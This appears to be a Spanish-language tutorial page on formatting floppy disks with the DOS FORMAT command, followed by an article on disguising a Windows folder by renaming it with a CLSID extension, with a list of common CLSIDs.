Para limpiar un disquete y prepararlo para escribir información, el proceso es muy sencillo.

Ejemplo: Formatear un disquete situado en la unidad A:

Nota: Insertar un disquete en la disquetera.

Escribe FORMAT A:

Pulsa Intro

Responde a la pregunta que se formula con un Intro, y observaréis como la luz de la disquetera se ilumina.

Tenéis que tener muy claro la unidad donde insertáis el disquete, podría ser que nuestro ordenador tuviese otra disquetera, y esta pasaría a nombrarse (seguramente) B:, insisto, aseguraos bien de la unidad con la que estáis trabajando. Siguiendo con el proceso de formateado o “limpiado” del disquete, podemos observar que la pantalla nos presenta un porcentaje de progreso, es decir, el porcentaje del disquete que lleva formateado.

Al llegar al fin, aparecerá una pregunta: “¿Etiqueta del volumen (11 caracteres, ENTRAR ignorar)?”. De la misma forma que un libro o una revista también tiene un título, un disquete puede tener un título. Escribe, si lo creéis necesario, un título (recordad que los espacios en blanco no son válidos), y si preferís ignorarlo, pulsad Intro. Para terminar, nos pregunta si queremos formatear otro disquete, contestamos que “S” para afirmarlo o “N” para negarlo (evidentemente). Si el disquete no estuviese en buen estado, todo y estar formateado, aparece un informe al fin que indica el espacio ocupado por sectores defectuosos; si encontráis esta casilla ocupada os aconsejo tirar el disquete, porqué luego, si lo guardamos con los otros, puede ser fruto de confusión y desengaños. Después de formatear un disquete podemos escribir información (siempre que no sobrepasemos su tamaño) y meterle, poco a poco, archivos hasta completar su espacio total.

Podemos utilizar la ayuda del DOS para informarnos de otras posibilidades con el FORMAT (FORMAT /?).

Hacer un disco del sistema

Para arrancar un ordenador, solo son necesarios los archivos COMMAND.COM y los que están ocultos, guardados en ciertos sitios del disco duro (IO.SYS i MSDOS.SYS). A un disquete que contenta solo estos archivos se le llama “disco del sistema” o “disco de arranque, esto quiere decir que podemos arrancar un ordenador si introducimos este disquete (que contiene los nombrados archivos) en caso de problemas, para poderlos solucionar.

El formateado incondicional

Este permite que el UNFORMAT no sea efectivo, y limpia el disquete al 100 %, dejándolo verdaderamente preparado y “limpio”.

Ejemplo: Formatear un disquete al 100 %

Escribe FORMAT A: /U

Pulsa Intro

Formatear un disquete rápidamente

Puede pasar que el disquete no nos sirva para nada y lo queramos formatear, para utilizarlo posteriormente. Se puede formatear rápidamente un disquete ya formateado si se utiliza el parámetro /Q, que evita que el DOS compruebe si hay sectores defectuosos. También podemos aumentar la velocidad de formateado de un disquete con la órdenes /U y /Q.

Ejemplo: Formatear un disquete rápidamente

Escribe FORMAT A: /U /Q

Pulsa Intro

Este es mucho más rápido porque no guarda la información contenida al disquete para el UNFORMAT.

Continuar leyendo

CLSID

E.T.

Todos sabemos que desde que existe el window, existe el registro. Se conoce también por todos el vinculo tan estrecho que existe entre el registro y dicho sistema operativo. Este articulo no es para hablar sobre el registr, ni sobre windows, este articulo esta escrito más bien para mostrarnos una forma de proteger informacion, sin necesidad de instalar programas extraños, o de dudosa procedencia, simplemente utilizando el registro, valla que es como si nos lo hubiesen puesto ahí.

Hace algún tiempo me estuve trabajando en una maquina donde no se podio tener ningún tipo de informacion personal, de hacerlo, era amonestado, y me vi en la imperiosa necesidad de buscar un metodo por el cual yo pudiera proteger de alguna forma la informacion que tenia. No podio instalar ningún programa, y las cosas como ocultar carpetas y luego mandar a no mostrar archivos o carpetas ocultas no me resolvian el problema.

Hable con varias personas para que me ayudaran a proteger la informacion no solo de los archivos, sino también de carpetas de gran tamaño en disco. Ninguna solucion era de mi conveniencia, así que decidí recurir al registro, quizás allí podría solucionar mi problema.

Urgando en el regedit, me di cuenta que existía un sinumero de carpetas que decian CLSID, y dentro de ellas una cadena te texto parecida a: {9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}.

Decidí por instinto copiar dicha cadena y ponerla dentro de un archivo de texto, sin ver resultado alguno, así, de esa forma hice varias pruebas, hasta que trate de ponerle esta cadena como extensión a un archivo. BINGO!

El archivo cambio. Luego comprendi que las extenciones de windows son solo ficticias, es decir, en verdad a windows no le importa que el final de un archivo sea “.doc”, lo que realmente mira es la extensión que hay después, es decir una cadena de texto similar a la que vi en el registro, esa es la clave para informarle a windows con que programa debe abrir cada archivo, por supuesto, al ponerle el CLSID a un archivo, automaticamente el archivo cambia de icono y la cadena de caracteres desaparece. Si esto se aplica a las carpetas funciona de la misma manera, es decir, al ponerle un CLSID adjunto a el nombre de la carpeta, esta toma el aspecto del icono que representa ese CLSID y la carpeta deja de abrirse con el explorer e intenta abrirse con el word, por ejemplo, pero como la carpeta no es un documento dara un error. Algo así era lo que me hacia falta para proteger mis datos.

La cuestio era después como invertir el proceso.

La única solución para esto era a través del DOS, es decir, renombrar la carpeta por MS-DOS, y problema resuleto. Claro después de esto solo tenia que crear un programa que me automatizara el proceso, un simple .BAT.

Aquí les mando los codigos de algunos CLSID que encontre y su significado:

base de datos.........{73A4C9C1-D68D-11D0-98BF-00A0C90DC8D9}
escritorio ...........{9E56BE61-C50F-11CF-9A2C-00A0C90A90CE}
correo electronico....{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}
adobe acrobat ........{B801CA65-A1FC-11D0-85AD-444553540000}
archivo de sonido.....{00022601-0000-0000-C000-000000000046}
archivo de video......{00022602-0000-0000-C000-000000000046}
archivo de canal......{f39a0dc0-9cc8-11d0-a599-00c04fd64433}
archivos exel.........{00020820-0000-0000-C000-000000000046}
internet explorer.....{25336920-03F9-11cf-8FD0-00AA00686F13}
sonido de midi........{00022603-0000-0000-C000-000000000046}
power point...........{64818D10-4F9B-11CF-86EA-00AA00B929E8}
para el word..........{00020906-0000-0000-C000-000000000046}
para los .cab.........{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
para los txt..........{73FDDC80-AEA9-101A-98A7-00AA00374959}
archivos xsl..........{48123bc4-99d9-11d1-a6b3-00c04fd91555}
para mi PC............{20D04FE0-3AEA-1069-A2D8-08002B30309D}
para carpetas web.....{BDEADF00-C265-11D0-BCED-00A0C90AB50F}
panel de control......{21EC2020-3AEA-1069-A2DD-08002B30309D}
impresora.............{2227A280-3AEA-1069-A2DE-08002B30309D}
programador de tareas.{D6277990-4C6A-11CF-8D87-00AA0060F5BF}
papelera de reciclaje.{645FF040-5081-101B-9F08-00AA002F954E}
archivos no asociados.{00021401-0000-0000-c000-000000000046}

Pienso que es fácil de usar, y para más comodidad les mando un ejemplo del .BAT, claro que se puede agregar unas cuantas lineas, para mejorarlo, como por ejemplo que se cierre encuanto se termine la operación, o que pida una clave para ejecutar el proceso:

Supongamos que tenemos una carpeta en el disco c:\ con nombre Max y estamos parados en el disco local c:\

Para aplicar el CLSID del Word y esconder la carpeta.

Ren max max. {00020906-0000-0000-C000-000000000046}

Para volver a mostrar la carpeta

Ren max. {00020906-0000-0000-C000-000000000046} max

Facil verdad, quizas muchos no lo utilicen, pero en verdad a mi me resulto. Se pueden obtene rmuchos otros, sólo depende de los programas que tengamos instalados.

Continuar leyendo